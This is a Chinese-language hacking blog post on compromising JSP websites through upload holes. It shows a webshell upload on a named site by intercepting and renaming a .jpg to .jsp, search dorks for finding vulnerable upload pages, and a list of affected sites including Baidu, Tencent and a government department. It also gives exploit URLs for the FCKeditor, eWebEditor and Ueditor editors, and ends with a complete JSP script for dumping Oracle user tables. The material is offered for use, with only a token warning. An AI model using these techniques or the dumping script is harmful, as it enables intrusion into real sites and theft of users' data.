By:[email protected]

Blog:edu2b.sinnaapp.com

目录:

0×00:百度被黑的思考

0×01:简单拿下kuke

0×02:谷歌一下+相关资料

0×03:对jsp漏洞的分析

0×04:对oracle脱裤科普

0×00:百度被黑的思考

先看下漏洞信息:

—————————————————————————————————————————

漏洞地址:
http://www.wooyun.org/bugs/wooyun-2010-013925
百度分站任意文件上传
madv.baidu.com
注册
然后上传资质文件
传jsp木马
然后查看资质信息
ps:jsp架构的网站一般对上传过滤不严格

——————————————————————————————————————————

clip_image001

说实话哈,这种漏洞还是多次暴雷的出现在大型站点上…..

由于jsp多出现在大型站点+gov+edu上所以请大家把握尺度,不要做错非法行动。

0×01:简单拿下kuke

现在就以kuke这个jsp站点进行实例分析。

首先拜祭比较文艺范的主页:

clip_image002

对于这种站点主站一般漏洞比较不明显,一般走向是对2级站点进行漏洞收集,

二就是通过注册用户检测上传过滤情况,三就是曲线救国了。

这里选择注册用户检测上传过滤情况,点击注册后,自动跳转到一个二级域名(看来还是二级域名的漏洞)。

注册了一个用户:

clip_image003

修改资料的地方有头像上传,选择图片后,直接弹出如图所示的提示,明显的javascript本地验证(详见突破上传总结):

clip_image004

将jsp木马改为jpg,用burp截断上传(这里就不用修改javascript验证了)。

clip_image005

截断的数据中将jpg改为jsp。

clip_image006

成功获取webshell。

clip_image007

当然是不是就只有这种拿站的方法,当你选择第二条扫描旁站漏洞时你会扫除jsp编辑器。

http://edu2b.sinaapp.com/ewebeditor/admin/login.jsp

http://edu2b.sinaapp.com/FCKeditor/editor/fckeditor.html

http://edu2b.sinaapp.com/FCKeditor/editor/dialog/fck_about.html

clip_image008

0×02:谷歌一下+相关资料

由于jsp站点就构造下语句搜索下

inurl:upload.jsp   上传

clip_image009

很不幸的是,第一个站就和上面一样轻松的被沦陷….(请不要捅菊花)

clip_image010

在网上看了相关资料,发现这是普遍存在都情况

腾讯:

clip_image011

多玩YY:

clip_image012

国务院某部门:

clip_image013

激动网:

clip_image014

12320:

clip_image015

…..

还有很多案例。

为什么会出现这样的漏洞,怎样利用这样的漏洞进行渗透测试?

0×03:对jsp漏洞的分析

为什么会出现这样的漏洞,究其根本是程序员的安全意识弱和管理员的懒惰,

很多jsp站点,当你进去看时全是07 08年的包括很多大站。

相对来说jsp的站点时比其他架构的站点要安全点,因为它很少开源,一般的注入漏洞很少出现。还有就是多出现在天朝的站点上…….

相对来说jsp的站点一旦进入后台,通过上传jsp拿shell一般是很容易的。

怎么利用?

一、           jsp编辑器

早期时候,常有这样的批量拿站。

inurl:web/resource/newspic

在网站后加:

web/webeditor/eWebEditor.jsp

直接上传jsp马。

这个就是jsp版ewebeditor编辑器的漏洞。

当然现在进行批量拿,你也不敢…..

clip_image016

Fck编辑器

Fckeditor jsp版漏洞利用方法:

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

用这个地址查找上传图片的路径,存在漏洞的话应该返回一个xml文件

然后用

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

这个地址上传jsp文件,如果网站对上传文件的后缀作了限制,那么就新建一个名字为new的文件夹,修改上面url中的Type=Image为Type=new,把文件上传到这个文件夹,这个文件夹一般就不会对文件后缀作限制了。

Version 2.4.1 测试通过

Version2.6.6测试未通过

百度Ueditor开源编辑器

clip_image017

漏洞只存在于1.2.2以前的版本。

问题出在imageUp.jsp
这里使用java正则表达式验证上传文件的文件名,重新设置文件名的时候,没有使用lastIndexOf()方法来找最后一个点,导致可以上传xx.jpg.jsp,xx.png.jsp
等类型文件,强烈建议官方修改这个,虽然官方声明此上传jsp做示例,但很多程序员,站长,基本没有修改就使用了。

二、 上传突破的方法同asp和php一样

无过滤上传

这个不多讲,直接上传jsp

Javascript本地验证

这是jsp类网站存在最常见的漏洞

突破方法详见突破上传总结

0×00截断

在jsp上传中同样可以用0×00截断上传。

…….

0×04:对oracle脱裤科普

同样,首先找到配置文件,oracle的配置文件一般存在.xml文件中,当然也有可能存在oracle.jsp中,就如kuke的一样。

clip_image018

如何脱裤,很简单,这里用到习科大牛的一个jsp+oracle进行脱裤

<%@ page contentType=”text/html;charset=gb2312″%>

<%@ page import=”java.lang.*”%>

<%@ page import=”java.sql.*”%>

<%@ page import=”java.util.*”%>

<%@ page import=”java.io.*”%>

<html>

<head>

<meta http-equiv=Content-Type content=”text/html; charset=gb2312″>

<title>xxx</title>

<style type=”text/css”>

body,td{font-size: 12px;}

body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}

td{white-space:nowrap;}

a{color:black;text-decoration:none;}

</style>

</head>

<body>

<body>

<table border=1>

<tr>

<td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td>

</tr>

<%Class.forName(“oracle.jdbc.driver.OracleDriver”).newInstance();

String url=”jdbc:oracle:thin:@localhost:1521:orcl”;

String user=”oracle_admin”;

String password=”oracle_password”;

Connection conn= DriverManager.getConnection(url,user,password);

Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

String sql=”SELECT 1,2,3,4,5,6,7,8,9,10 from user_info”;

ResultSet rs=stmt.executeQuery(sql);

while(rs.next()) {%>

<tr>

<td><%=rs.getString(1)%></td>

<td><%=rs.getString(2)%></td>

<td><%=rs.getString(3)%></td>

<td><%=rs.getString(4)%></td>

<td><%=rs.getString(5)%></td>

<td><%=rs.getString(6)%></td>

<td><%=rs.getString(7)%></td>

<td><%=rs.getString(8)%></td>

<td><%=rs.getString(9)%></td>

<td><%=rs.getString(10)%></td>

</tr>

<%}%>

<%rs.close();

stmt.close();

conn.close();

%>

</body>

</html>

使用说明:

line24~line26分别设置Oracle数据库的登陆url,登陆账户和密码

登陆信息通常位于网站容器的.xml配置文件中。

line29设置要导出的表,导出之前请在webshell或者数据库中执行select count(*) from 表名 来看一下记录数。

通常过万的记录数可能导致浏览器耗尽资源等造成崩溃等现象。

select后面跟几个字段,line21设置几个td标签,后面就跟几个re.getString。

若数据过万,可在line29的select后面的加一个 where rownum < 11来限定一下结果数。若返回结果,则去掉保存,不返回结果请检查SQL语句语法或连接信息

数据过万后,保存完设置信息,将此程序url扔进迅雷,FlashGET等程序即可下载,下载中会一直显示99%直至下载结束,因为下载结束前文件不知道有多大。

源链接

Hacking more

...